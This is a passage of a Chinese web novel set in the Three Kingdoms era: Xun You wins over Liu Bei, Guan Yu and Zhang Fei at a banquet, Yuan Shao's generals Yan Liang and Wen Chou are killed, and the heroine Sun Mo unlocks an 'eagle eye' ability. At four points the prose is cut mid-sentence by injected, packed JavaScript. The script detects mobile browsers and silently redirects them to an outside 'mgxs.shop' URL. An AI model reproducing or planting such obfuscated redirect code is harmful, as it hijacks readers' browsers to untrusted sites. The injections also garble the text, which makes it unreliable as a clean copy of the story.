这一声叹息,瞬间打开了刘备的心防。 他听懂了。那是对奸臣当道的愤懑,对汉室倾颓的悲怆,对生逢乱世、报国无门、壮志难酬的苦闷。 颠沛流离、屡战屡败的委屈与不甘,在酒精的催化下,如同决堤的洪水般涌了上来。 “唉!”刘玄德一时眼眶微红,举杯酒樽,一口闷掉。他重重将酒杯一放,倒出压抑在心中的苦水:“我本汉室宗亲,中山靖王之后。少时曾师事卢植中郎将。黄巾倡乱之时,备散尽家财,招募乡勇,有志讨贼报国……” “然力战数载,历经生死,虽颇有微功,却因无钱打点上下,只落得个小小县尉……”刘备的声音微微颤抖,带着一种深深的无力。 他再次举杯,仰头一饮而尽:“先生请。” 荀攸抬手举杯:“请。” 刘备再次饮尽。 “县尉?哼!”酒过三巡,张飞有点上头了。他猛地一巴掌拍在桌子上,震得碗碟乱跳,“那县尉不如不当,还要受督邮的鸟气!索贿索到我大哥头上,我气不过,把他绑在马桩上痛打了一顿,投别处去了。” “爽快!翼德不愧是性情中人,当浮一大白!”荀攸非但没有指责张飞的粗鲁,反而笑着再次举杯。 “先生请!”张飞哈哈一笑,饮尽杯中酒后,一抹下巴上残留的酒液,豪爽道:“换大碗来,今日不醉不休!” 徐晃看着眼前这三个性情中人,心中的芥蒂也散去了大半。 “不醉不休!”徐晃也端起酒樽,大声应和。 看来此三人,皆是忠义之士。 荀攸默默在心中评估,垂眉思量片刻,然后状似无意地提起孙墨:“若无我家主公怀侯在洛阳力挽狂澜,恐怕这天下,早就……” “先生,羽有一问,不知当讲不当讲。”还没等荀攸说完,关羽就凤目一凝,重重地放下酒樽。 在热烈的气氛与酒精的双重作用下,他也不等荀攸接话,迫不及待地问出了心中的执念:“据说,昔日曹孟德孤身刺杀董卓,事败逃亡。而当时将曹公献与董贼的……正是怀侯?” 一时间,气氛降到了冰点。 刘备眉头紧锁,张飞瞪大了环眼,左右张望。就连徐晃,也竖起了耳朵。 他在孙墨招揽自己时,也问过这个问题。当时孙墨说得模糊,后来他也就没再深究。但此事,确实是悬在天下许多忠义之士心头的一根刺。 荀攸的目光缓缓扫过三人。 关羽自不必说,他对怀侯的敬重中带着怀疑,而这怀疑中又有丝丝的希望。希望此事非传闻般所说。 刘备虽是皱眉,但并未出言斥责关羽的冒犯。可见也有心询问。 至于张飞,他瞪大个眼睛,看着大哥二哥,又看看荀攸。见气氛有些冷了下来,竟开始打圆场:“这曹孟德是个英雄,但后来他不也逃了吗……” 荀攸微微一笑:“翼德说得没错,曹公虽被抓,但后来,确实安全逃离了洛阳。” 关羽、刘备沉默不语,显然对这个避重就轻的答案不满意。 不过他们也知道此时不宜深究,就要一笔带过之时,就听得眼前的文士,悠悠然开口:“不巧,在下正是协助曹公逃离之人。” 刘关张:!!! 三人的瞳孔瞬间收缩。他们惊觉,接下来荀攸要说的,恐怕最惊心动魄、却又鲜为人知的洛阳真相! “献曹公,非是邀功,为的是打入敌营,得董贼信任。后来曹公获救,也是主公一手促成。” 刘关张:! “送貂蝉,非是谄媚,为的是施连环计,离间董吕二人。” 刘关张:!! “李郭相斗,主公只身赴敌营,为取上将首。” “洛阳火起,主公舍身求天怜,雨落华发生。” 刘关张:!!! 一桩桩,一件件。从忍辱负重,到连环绝杀,再到悲天悯人。 荀攸每说一事,三人的心就随之震颤一次。说到最后那句“雨落华发生”时,那幅悲壮的画面仿佛就在眼前展开。 三人已是虎目含泪。关羽更是羞愧得无地自容,他猛地站起身,因为激动,高大的身躯竟微微颤抖。 “怀侯、怀侯她……” 刘备词穷了。他读过圣贤书,但却找不到一个词,能形容这位以女子之身,平乱天下的英雄! “敬怀侯!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849805|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>最后,他只能双手举杯,眼含热泪,朝怀县方向遥遥一拜,“敬怀侯!” “敬怀侯!”关羽、张飞亦收敛起了所有的傲气,遥遥一拜。 …… 一场接风宴下来,是宾尽主欢。 但喝归喝,正事还是得做。 徐晃虽然喝了不少,但他挂念着正事,有所克制。 不知道军师喝醉了没有? 散场之后,微醉的徐晃去找荀攸,商议如何安排刘备兄弟。 拨多少骑兵、拨多少步卒、精锐还是混杂些辅兵? 怀侯只说了两千兵马,其中操作性,那可就大了。 他掀账而入。 就见着摇曳的油灯下,荀攸正提笔写着什么。感受到门帘被掀开,他抬首,微微点头示意:“将军。” 徐晃一个愣神。 眼前的军师,眼神清明,哪还有半分宴席上的醉态? 一如既往的沉着而又冷静,似乎刚才那种悲歌慷慨的情绪,从头到尾都未曾在他身上停留过。 “呼——” 一阵凉风划过,徐晃一个激灵,酒意瞬间醒了大半。 他看着沉静无比的荀攸,突然闪过一个极其荒谬的念头,这场宴会,难道从头到尾,都是军师算计好的? 算、算计什么? 他在脑中将宴会上的细节一一回放。 刘备说他自黄巾起兵、师从卢植——把来历和家底吐露得干干净净。 张飞说他怒鞭督邮——把火爆的性格揭示得明明白白。 三人长叹壮志难酬——渴求建功立业的人生目标摸透。 而最后,荀攸抛出洛阳真相,更是彻底折服了这三个骄傲的汉子,让他们对从未谋面的主公彻底敬服、死心塌地! 一桌酒宴,摸清了底细,拿捏了性格,收服了人心。甚至连自己,都在不知不觉中拉近了与那三人的关系。 徐晃打了个哆嗦。 他再看向荀攸的眼神里,已经变成了浓浓的敬畏。 “怎么了?”荀攸见徐晃站在门口发呆,不禁出声询问。 “军师,这一切,都是您算计好的?”徐晃回过神,不经意间带上了敬称。 “算计?”荀攸放下了笔,语气带上了些许笑意:“一场接风宴,谈何算计?刘玄德兄弟三人皆非池中物,本就该以礼相待。” 徐晃:…… 话虽如此,但他觉得有哪里不对。 但荀攸没给他细想的时间。他问到:“将军前来,可是商讨如何拨兵一事?” 徐晃点点头,收起杂念:“正是。不知军师以为,该分拨何等兵马?” “两千步卒,寻常士卒即可,无需调拨精锐与骑兵。”荀攸道。 ……? 徐晃困惑。按道理,都这样重视了,不应该拨给骑兵和精锐吗? “……”荀攸看出徐晃的困惑,于是找了个理由:“他们毕竟寸功未立,若一上来便委以精锐,恐军中将士不服。” “哦,”徐晃一拍脑门,恍然大悟:“军师思虑周全,某明白了。” 徐晃离开后,荀攸看向面前的竹简。上面写道:刘玄德非池中物,恐难久居于人下。 6. 第 6 章 相较于荀攸的弯弯绕绕,徐晃和刘关张三兄弟就显得清澈很多了。 一路上,徐晃饱含歉意地表示,因为顾及到军中影响,没办法直接给太多精锐,只能先拨两千寻常步卒。 刘备受宠若惊。他慌忙摆手,表示自己寸功未立,能受到如此的礼遇已经是难得的殊荣,万万不敢奢望更多。 两人你一句“实在委屈”,我一句“怀侯厚恩”,拉拉扯扯间,不知不觉就来到了点兵台。 “玄德公,这便是拨给你的士卒。”徐晃指着台下说道。 刘备顺势往下一看,原本准备好的客套话瞬间卡在了喉咙里。他倒吸一口凉气。 只见台下那两千士兵,个个手握刀枪,昂首挺立。 徐晃所领导兵马源自西凉军。西凉兵常年在边陲与异族厮杀,且所得饷银大多来自于劫掠,因此骨子里有股难掩桀骜与匪气。 然而此时,他们列阵齐整。数千人的方阵之间,竟无一人交头接耳。 匪气褪去,留下的化为悍勇。 这是孙墨按着《民兵训练教程》总结训练方法,让徐晃依此练兵的结果。 刘备简直难以置信,他来回指着士卒,激动到甚至有些颤抖地问道:“这就是将军口中的寻常士卒?” 精锐,这是绝对的精锐。 徐晃点点头表示肯定:“正是。” 按照怀侯的练兵法,仅仅月余,竟有此成效。看到士兵的蜕变速度,徐晃也是惊讶非常。 刘备:…… 关羽:…… 张飞:…… 惊喜来得太突然,以至于摸爬滚打、常年带些瘦弱残兵打仗的三人,一时竟有些接受不了。 刘备只觉得血液流动加速,脸颊开始泛红。如果这样齐整的悍卒只能算是寻常,那么真正的精锐又该有多恐怖? “敢问将军,何等士卒,才能算得上军中精锐?”刘备喉结滚动。 徐晃沉吟道:“主公曾亲自遴选了八百精锐,亲自训练,名之骠骑营。” “八百骠骑?”刘备深吸一口气,“如此壮士,莫非由怀侯亲领?” 徐晃眼角极其不自然的抽搐了一下,语气中带上了一股浓浓的酸味:“不,主公安排,此战让张文远暂领。” 刘备困惑:“这位张将军,是何许人也?备未曾耳闻……” 徐晃:实不相瞒,在不久之前,我也不知道这是何人。 待徐晃将张辽的来历——原本是丁原部将,后随吕布投董卓,如今是个在吕布手下听用的骑都尉——解释过后,刘备三兄弟陷入了和徐晃一样的情绪:酸,太酸了。 一个寸功未立的客将,居然能统领最精锐的骑兵?这偏爱也偏得没边了吧!——by也在被偏爱行列的刘关张。 而引发众人醋味的张辽,在刘备到达的第三天,才风尘仆仆地姗姗来迟。 这倒不是他故意拖延,问题在于他那脑回路清奇的上司:吕布。 当时在虎牢的吕布得知孙墨要借人后,这位天下第一猛将顿时虎躯一震,方天画戟一挥,当即表示:借什么人?老子亲自率领大军上! 接到信的正主华雄:…… 当时冷汗就下来了。 他虽猛,但他猛中仍然带些脑子。他知道,怀侯只是借将,况且指名道姓、只是借一个无名小卒。说白了,张辽去,那是锦上添花,不去也是无伤大雅。 可如果吕布若领着大军亲自前去,这性质可就完全变了。 你是来助阵的?还是来趁火打劫取我河内的? 有点脑子的人,都不会放吕布进城。 更何况,吕布与怀侯之间,可算不上什么愉快。 洛阳城中,怀侯夺了吕布心爱的赤兔,更是夺了心爱的女子貂蝉。最要命的是,现在吕布一家子都在怀侯的地盘上。 华雄赶紧阻止吕布这不靠谱的想法: “温侯,使不得!” 你这是在玩火。 吕布却觉得自己很有理由:“我儿遇险,当爹的带兵去帮,有何不可?” 华雄:…… 上一个这么玩的,叫董卓入京。你看怀侯像朝堂之上的那群酒囊饭袋吗? “不然,我亲自去帮也无不可。” 华雄:…… 上一个让你帮的,叫董卓;再上一个,叫丁原。 都被你亲手做了! 华雄废了半天力气,才让吕布打消这个作死的念头,老老实实派出张辽。 而张辽,听说怀侯指名要自己,也是受宠若惊,连夜快马加鞭,飞奔前来。 然后,他就在大营里,看到了那支孙墨指名道姓让自己暂领的军队——八百骠骑。 静。 八百骠骑安静如斯,就那样,如渊停岳峙般静静地列阵在校场之上。除了骏马偶尔打个不耐烦的响鼻,这支军队没有发出任何多余的声响。阳光照在他们甲衣上,折射出一种足以碾碎一切的冰冷。 令行禁止。 静。 太静了。 张辽却仿佛听到了风在吼马在叫,汉水在咆哮。 全身的血液已经在沸腾。 这是每一个武将都梦寐以求的部曲!这是每一个武将梦寐以求的舞台! 他张文远何德何能,竟然能得到怀侯如此毫无保留的信任? “张将军,”站在一旁的张飞,忍不住酸溜溜地哼了一声,“怀侯舍得如此雄兵,你可别掉了链子。你要是不行,我张飞替你!” 张辽没理会张飞,他猛地转身,面朝怀县方向,重重抱拳一拜:“怀侯大恩,辽万死难报!” 于是,在孙墨的搭桥下,汲县城外,形成了当时的“默默无闻”组合:徐晃+张辽+刘关张,还有个军师荀攸。 ----------------- 袁绍大营。 四世三公袁本初,正端坐在帅帐内,沾沾自喜。 他也在点兵。 郭图站在一旁,发自内心地献上真诚的马屁:“主公麾下如此雄壮之师,料她孙墨一介女流,安能抵挡?” 袁绍哈哈大笑:“况且我上将颜良、文丑已至,河内,囊中之物也,可一举而定!” 说来讽刺,十八路诸侯讨董时,袁绍感叹颜良文丑未至,现在打孙墨的时候,他俩倒是来了。 只可惜,袁绍并不知道,他引以为傲的上将颜良文丑,即将对上他们命中注定的敌人——关羽关云长。 五日后,袁绍备齐兵马,亲自领兵,与徐晃会猎于野。 其实在出兵前,郭图还有些犹豫。他建议袁绍拒城而守,徐图进取。毕竟孙墨手下的西凉铁骑威震天下,而袁绍军多是步卒,拒城而守才能发挥最大的优势。 但是袁绍异常果断地拒绝了。他是这么说的:“我四万精兵,兵强马壮,得胜何须借助城池之力?再者,先前那五千精骑已被杀退,又有何忧?吾正要堂堂正正地正面击溃他们,以振军威!” 主打一个天下之大我无敌,就是自信。 他没意识到,之前之所以能杀退徐晃,徐晃急行军占了很大因素。 他没提,郭图也没“扫兴”。 于是郭图本着“建议我已经提了,老板拒绝了,最后结果如何也不是我的锅”的优良职场心态,逮着机会从善如流,又拍了袁绍一顿“主公英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849806|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 明神武”的马屁。 汲县外,双方大军列阵对峙,杀气冲天。 袁绍骑在高头大马上,金盔金甲,在阳光下熠熠生辉。他看着对面严阵以待的徐晃大军,自信满满地挥动手中长鞭,大喝一声::“何人敢上?” 话音未落,一如同铁塔般的猛将策马而出。他手持长柄大刀,杀气腾腾: “吾乃上将颜良,谁敢与我一战?” 这一声咆哮,中气十足,声震旷野,引得袁绍军中爆发出阵阵喝彩。 徐晃眯起眼睛,望望一旁的刘关张三兄弟还有张辽。 张辽正要走流程向徐晃请战:“末将愿……” “驾!” 他话音未落,就见身旁的关羽一声暴喝,直接一夹马腹,舞着青云偃月刀就冲了出去! “关云长来也!” 张辽愣在原地,保持着抱拳请战的姿势,目瞪口呆。 还能这样抢功的?连声招呼都不打就上了? 张飞反而是异常兴奋,几乎就要按耐不住,跟着二哥一起冲出去厮杀了。 战场中央。 颜良见敌军阵中冲出一将,红脸长髯,气势非凡,心中也是一凛。 但他自恃勇力,并未将关羽放在眼里。他大喝一声,双手握紧刀柄,借着战马冲锋的惯性,就是一招“力劈华山”,带着凌厉的风声,当头向关羽劈下! 袁军阵中,将士们瞪大了眼睛,准备欣赏自家上将将敌将一劈为二的血腥画面。 在众人的想象中,就算敌将勇猛,不能几招解决战斗,那也必定是一场刀光剑影、龙争虎斗的旷世大战。 然而,真实情况是…… 三刀。 只有三刀。 关羽面对颜良那雷霆一击,不闪不避。他冷哼一声,双臂肌肉虬结,青龙偃月刀自下而上,带着一往无前的霸道气势,轰然迎击! “铛!!!” 一声震耳欲聋的金铁巨响,火花四溅。 第一刀! 颜良只觉得一股如同排山倒海般的恐怖巨力从刀柄上传来,他的虎口瞬间崩裂,鲜血横流,双臂竟在这一击之下,直接麻木失去了知觉! 一时间鸦雀无声。 “怎么可能?!”颜良心中大骇,瞬间冷汗直冒。 还没等他从这股怪力中缓过神来,关羽的第二刀已经带着令人窒息的死亡气息,横扫而来! “铛!” 第二刀! 颜良勉强举刀格挡,但他麻木的双臂根本无法承受这一击。他手中的长柄大刀,竟然被关羽硬生生地震飞到了半空中。 “唰——” 一道青色的刀芒,在半空中划过一道完美的弧线。 第三刀。 一颗硕大的人头冲天而起,鲜血从断颈处喷涌而出。 在众人反应过来之前,颜良那无头的雄壮身躯,在战马背上晃了晃,随后轰然坠落,砸起一片尘土。 一时间,整个旷野鸦雀无声。 袁绍脸上的笑容彻底僵住,手中的马鞭掉在地上都不自知。郭图更是眼珠子都快瞪出来了。 名震河北的第一猛将颜良……就这么……没了? 三招? 风停,战鼓歇,所有的声音都被这一刀生生斩断。 死寂。 一片死寂。 张飞最先反应过来,他兴奋地满脸通红:“二哥胜了,贼将已死,哈哈哈,二哥胜了……” “贼将已死!” 他高举丈八蛇矛,带头怒吼,声震九霄: “贼将已死!” 猛虎啸林,百兽震惶。 7. 第 7 章 荀攸在后方观战。 他看到关羽和张飞两人,如虎入羊群,如入无人之境。青龙偃月刀和丈八蛇矛所过之处,竟无一合之敌。两人的冲锋带着雷霆万钧之势,狠狠撞上敌阵。 之前徐晃未能冲破的盾阵,在两兄弟的狂暴冲击下,瞬间被撕裂出一个巨大的豁口。 “杀!” 长刀所向,无人可以相抗。袁军的惨叫声漫天飞舞。 “万人敌,主公诚不虚言矣。”荀攸看着那两尊杀神,忍不住轻赞道。 敌军的阵型被撕开,徐晃未动,张辽先行。 “驾——” 张辽一声暴喝,领着那最精锐的八百骠骑,宛如一柄锋利无比的利刃,从关张二人撕开的破口中,狠狠扎入。 如果说关羽张飞是势不可挡的破甲重锤,那么张辽这八百骑,就像最锋利的匕首。他们像搅动血肉一般,精准而狠辣地撕扯伤口、牵动血液,然后,直击要害! 行云流水的穿插、切割、剿灭。 荀攸眼中闪过一丝难掩的惊叹。 他坐在马上,轻轻牵动了缰绳,心中波澜起伏。 兵法有云,韩信领兵,多多益善;然高祖所领,不过十万。 每一个将领,都有其最擅长的统兵规模和战术定位。而张辽,这名籍籍无名的将领,他所展现出的战场嗅觉和突击指挥能力,完美契合了率领千余精锐进行“斩首与破阵”的定位! 换句话说,孙墨的安排,贴合至极! 荀攸的目光看向远方:主公啊主公,您到底是从何处、如何了解到这三位绝世将才的? 战场另一边。 袁绍站在高高的战车上,看着前方被摧枯拉朽的战局,目眦欲裂。他气得浑身发抖,指着前方大喝:“文丑何在?!” “末将在!”一员虎背熊腰、手持长枪的悍将应诺而出。 “领我中军精锐冲杀,将那敌军先锋,灭了!”袁绍气急。 文丑:“……” 文丑虽以悍勇著称,但也不是莽夫。他扭头看向己方已经乱成一团的阵型,尝试说服失去理智的主公:“主公,敌将骁勇,且我军前阵已溃,士气全无。为今之计,不如鸣金收兵,退守汲县为上。” 郭图不住地点头。 袁绍大怒,一马鞭抽在车架上:“敌我厮杀正酣,退什么退!给我冲!” 文丑:“……” 他再次开口劝说,但在盛怒之下的袁绍根本听不进去,甚至越被劝就越气,直接拔出了佩剑。 文丑:“……” 于是,这位河北上将,只能遵从军令,率兵顶了上去。 ——可是对面的先锋,是关羽和张飞。 关羽斩颜良斩得过于干脆利落,文丑深知那红脸汉子是个怪物,打起了十二万分的小心,尽了最大的努力,终于成功避免了和关羽正面撞上。 ——然后他就迎面撞上了杀红眼的张飞。 “燕人张翼德在此!敌将拿命来!” 张飞一声咆哮,声若奔雷,丈八蛇矛带着刺耳的破空声,硬是刺出了雷霆之势。 文丑大惊,提枪招架。战不几合,文丑便被张飞那狂暴的力量和完全不讲理的打法逼得手忙脚乱。 “噗嗤” 破绽出现的瞬间,丈八蛇矛如同毒龙出洞,直接在文丑的胸甲上捅了个透明窟窿。文丑惨叫一声,栽下马去,当场毙命。 “这就是你们的上将文丑?不过如此!” 张飞以蛇矛枭首,将文丑那虎目圆瞪的头颅挑在矛上,大叫:“文丑已死!” 这一声大喝,彻底击溃了袁军最后的心理防线。 袁绍:…… 他眼前这种发黑,被气得几乎要脑溢血: 自己引以为傲、勇冠三军的河北亭柱,就这么如稚童般,被两个籍籍无名之辈给杀了? 岂有此理,岂有此理! “杀,杀!”袁绍怒而拔剑,看架势,竟要自己亲自冲锋陷阵。 “主公,三思!”性命攸关之际,郭图也顾不了许多了。他一把抱住袁绍,“鸣金收兵,拒城而守,为时未晚!” 徐晃见袁军阵型已乱、士气已破,隐隐有退却之意,当机立断,亲自领兵,长驱直入。 “敌军已败,全军出击!” 士兵们以泰山压顶之势,彻底碾压了过去。 宛如宝剑出鞘,浩浩荡荡。兵锋所指,所向披靡。 …… 【叮】 【恭喜宿主完成支线任务:破袁绍,斩颜良,诛文丑。任务奖励:上将卡升级至sss。是否立即升级?】 孙墨:? 彼时她正大杀四方,用五子棋将一代鬼才郭奉孝按在地上摩擦。脑海中突然响起的系统提示音,她顿时愣了一下。 破袁绍可以理解,毕竟徐晃加荀攸的豪华整容,就算刘关张和张辽不来,破袁绍也是手到擒来。 但是,斩颜良、诛文丑是怎么回事? 袁绍那句名台词“可惜我上将颜良、文丑未至”,可是人尽皆知。 看过三国的都知道,十八路诸侯会盟讨董的时候,这两人没来。而也正是由于这两人的缺席,关羽有了机会温酒斩华雄,一战成名。 可现在,这两人怎么冒出来的? 合着打董卓的时候藏着掖着,打我的时候就底牌全开? 岂有此——喜大普奔之事? 这可真是人在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849807|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 中坐,喜从天上来。 孙墨本估摸着这两人既然没来讨董,那么就可能在袁绍的老家渤海郡守着。她还在思量怎么拉兵过去呢,毕竟渤海和河内之间隔了老大一块冀州腹地。 结果这两人居然自己送上门了? 惊喜来的太突然,孙墨笑得嘴角几乎要咧到了耳根。 【升级!】 脑海中,“上将卡”爆发出璀璨的金色光芒。 【升级完成,上将卡丶鬼神……等等,】系统的少年音突然卡顿了一下,然后陡然尖锐起来,【你什么时候三招内就打赢了吕布?】 孙墨:【……】 回想到洛阳皇宫前和吕布单挑一事,孙墨不自在地摸摸了鼻子。 她能赢,纯粹是因为在现代冶铁工艺的加持下,65锰弹簧钢的工兵铲对方天画戟的降维打击罢了。 孙墨斟酌着语言,试图还原当时的过程:【也没有三招那么夸张,只用了一招而已……】 工兵铲怼上方天画戟,然后方天画戟直接被崩成两半。自己迫不及待找了个台阶口遁,连滚带爬“滋溜”一声就滑下去了。 相当的惊心动魄。 系统沉默了足足五秒。它只听出了孙墨的凡尔赛:【……】 它相当艰难地维持思考:【恭喜宿主完成隐藏任务:千古无二。昔羽之神勇,千古无二。】 重点是“千古无二”。也就是说仅此一人,具体到东汉三国,就是说武力要碾压吕布。 孙墨:…… 这算碾压吗?但凡那方天画戟硬度达点标,我就被反碾了。 心里这么吐槽,但嘴上孙墨是不可能认输的:【对,我秒杀了吕布。隐藏任务的奖励是啥?】 系统:【隐藏技能丶鹰眼解锁:苍鹰于飞,俯察山林。居高临下,虽山林层峦、草木蒙蔽,亦如观掌纹,纤毫毕现。凡敌军设伏,纵藏于幽岩深壑,亦难逃其视。视远如近,察隐若显,十里之微,尽入目中,故能先机独得,决胜沙场。】 孙墨左看右看,横看竖看,从中只读出了三个字:开全图。 这在战场上意味着什么,不言而喻。 惊天大挂。 “嘿嘿嘿” 孙墨忍不住笑出了声。 陪孙墨下棋的郭嘉:…… 他望望一旁践行“观棋不语真君子”的贾诩,意为:怀侯这是怎么了? 贾诩:…… 我亦不知。 贾诩瞄一眼棋盘:难道是你故意输棋哄主公开心凑效了? 郭嘉敲敲棋子:几局棋而已,不至于吧? 两位算无遗策的谋士,此刻不约而同露出了困惑:怀侯这是怎么了,为何笑得跟个棒槌一样? 8. 第 8 章 系统出品,必属精品。要论精品,3S为最。 前一个sss卡“成汤祈雨”带来了河内郡十年内的风调雨顺,后一个sss的奖励“鹰眼”,则让孙墨有了军神之资。 几乎是白捡个大漏的孙墨,完全抑制不住兴奋之情,连在“智斗”中“碾压”当世鬼才都觉得不香了。 她迫不及待地开了上将卡丶鬼神临世。 【鹰眼】 霎那间,方圆百里的情景,便成了一张空间地图,呈现在脑海。 地图上的情景,一览无余。 她指定场景,拉近视角。 只见张杨在发火,赤兔在吃草。 赤兔马旁边,还有个赵六。他正扯着嗓子在唱歌。 哦,不止赵六一个,周边一圈士兵都围着赤兔马在唱歌。 对着赤兔唱。 孙墨:? 孙墨略带疑惑:唱就唱吧,为啥要对着赤兔唱? 你们在唱啥? 算了算了,又没耽误正事,随他们唱吧。 视角转到野王城。 吕玲绮正带着一队士兵在城墙上巡逻。跟着的士兵个个沉默不语,绷带缠身,衣甲破损。 至于走在前方的吕玲绮也没好到哪去。她脖子上缠着一圈厚厚的白布,红袍银甲残破不堪,满是凝固的血污。就连她手中的画戟,也崩了数个口子。 但是…… 孙墨不知道怎么形容这种感觉。眼前的巡逻小队只是默不作声地走着,明明是一副残兵败将的样子,但仿佛只要一声令下,他们就将化作滔滔烈火,把一切吞噬殆尽。 哀、哀兵必胜? …… 哀兵必胜,胜兵必骄,骄兵必败,败兵必哀…… …… 孙墨甩甩头,把脑子里面的脏东西给甩出去。 她看着这支队伍,突然有点担心,这团火在吞噬敌人的同时,会不会同时吞噬自己。 她收了鹰眼,面对郭嘉这个始作俑者,一脸严肃地问道:“奉孝,玲绮遭此败,我是不是该给她放个长假放松一下?” 郭嘉正拿着白子准备落子,闻言手一顿。 郭嘉:怀侯你这转折的速度是不是有点惊人了?刚刚还在莫名其妙的傻乐,现在怎么突然就严肃起来了?而且这话问的,怎么听来是担心吕将军,暗中却像是在问责?问责的是打了败仗的吕将军,还是罪魁祸首我? 郭嘉轻捻棋子,略加沉吟,试探性地开口道:“怀侯……” “奉孝无需忧虑,怀侯心思单纯,表面意思罢了,并没有什么‘深意’。”一直秉持“观棋不语真君子”,安静了半天的贾诩冷不丁开口。 孙墨缓缓打出一个问号:? 心思单纯? 我怎么感觉你在骂我? 我关心表现得还不够明显吗?还能有什么意思? 孙墨没好气地瞪了贾诩一眼。 贾诩熟视无睹,他那面无表情的表情甚至让郭嘉看出了一丝嫌弃。 郭嘉:…… 他心中一宽,顿时理解了贾诩的意思,也明白了该怎么和这位怀侯交流。 他直话直说:“主公,吕将军新败,若此时撤她兵权,让她回后方休息,难免会令吕将军心寒,更会让她以为主公对她失望透顶。” 孙墨:“我撤她兵权做甚,我只是担心她绷的太紧,安排她休息……” 孙墨:“……” 话说到一半,她也意识到问题在哪儿了。一个心高气傲的武将,刚刚打了生平第一次败仗,然后就被主公勒令回后方“休息”,确实容易让人多想, 她解释道:“玲绮遭此大败,我担心她一时接受不了……” 郭嘉的眼光变得有些悠远。他仿佛又见到了那个绝境中仍半步不退、甚至高举画戟反冲锋的的少年将军。 他沉声重复:“‘神凤不灭,赤焰永存’。” 孙墨一愣:“什么?” “这是吕将军身处绝境之时,喊出的口号,”郭嘉清冽的双眼中,难得流露出赞叹:“如此将领,怎会因一时的失败而泄气?对这等武将来说,最好的安慰,不是抚慰,而是认同。” 认同她身为女子,却能沙场建功;认同她未及弱冠,便当独当一面;更认同她,身处绝境,也无惧无畏,烈烈如火。 “怀侯可愿,以“赤焰”为名,单独建军?”郭嘉收其了轻佻,郑重提议道。 孙墨沉默半响,眼前不停闪过吕玲绮不肯服输的脸。 压下心中的舍不得,她终是长叹一声:“宝剑锋从磨砺出,千锤百炼始成钢。” 吕玲绮和自己不一样,自己有超越时代两千年的知识,还有系统的泼天富贵,成就一番功业不知道容易了多少。而吕玲绮她,只有自己。她只能靠自己,一人一戟,战出天明。 “她有主公信她,已是甚幸。”一旁的贾诩又冷不丁开口。 郭嘉点点头,有些羡慕地表示认同:“自古英雄多埋没,吕将军能与怀侯外有君臣之义,内结姊妹之情,以一女子之身立于乱世,建不世之功,何其幸哉!” 说到这,他突然长吁短叹起来:“可怜我身为男子,空有七尺之躯,嵯峨半生,满腔抱负无处施展。” 他又短叹长吁:“我本佳人,奈何明公不信。惜哉,痛哉。” 一滴冷汗滑下。 半响,孙墨憋出一句:“……我也很信任你,还有文和。” 郭嘉继续唉声叹气,但拿眼角瞟孙墨:“我不信。” 孙墨:“真的。” 郭嘉撇撇嘴:“不骗人?” 孙墨:“不骗人。” 郭嘉满意收功:~ 目睹全程的贾诩:彳亍吧。 郭嘉仿佛成功偷蜜的狐狸,贾诩听到主公说“信”,也不自觉浮现出淡淡的笑意。 ----------------- 这边孙墨和贾诩、郭嘉二人商议赤焰军之事,那边被迫退守汲县的袁绍,直接气上了床。 ——生生给气病了,卧床不起。 上将被斩,统帅不起,军心大乱。 徐晃趁机攻城不止。 郭图一边处理繁杂的军务、稳定日益崩溃的军心,一边每日还得到袁绍塌前请安问暖,一时间焦头烂额、心力憔悴。 “子远啊子远(许攸),你还需要多久?”郭图加班加点。他不住的安慰自己,这次攻打河内,正面战场输了不可怕,真正致命的一击,不在野王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849808|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,不在汲县,而在怀县和温县。 “报——李校尉被流失射中,阵亡了!” “报——敌军又攻城了!” 流星马带来了一个又一个的坏消息。 郭图:…… 他头更疼了。 这样下去不行,必须让主公出来安抚军心,不然这大军就要溃散了! 郭图揉了揉布满血丝的双眼,将一卷竹简扔在案几上,仿佛在给自己打气。 他洗漱一番,整理好衣衫,敲开了袁绍的房门。 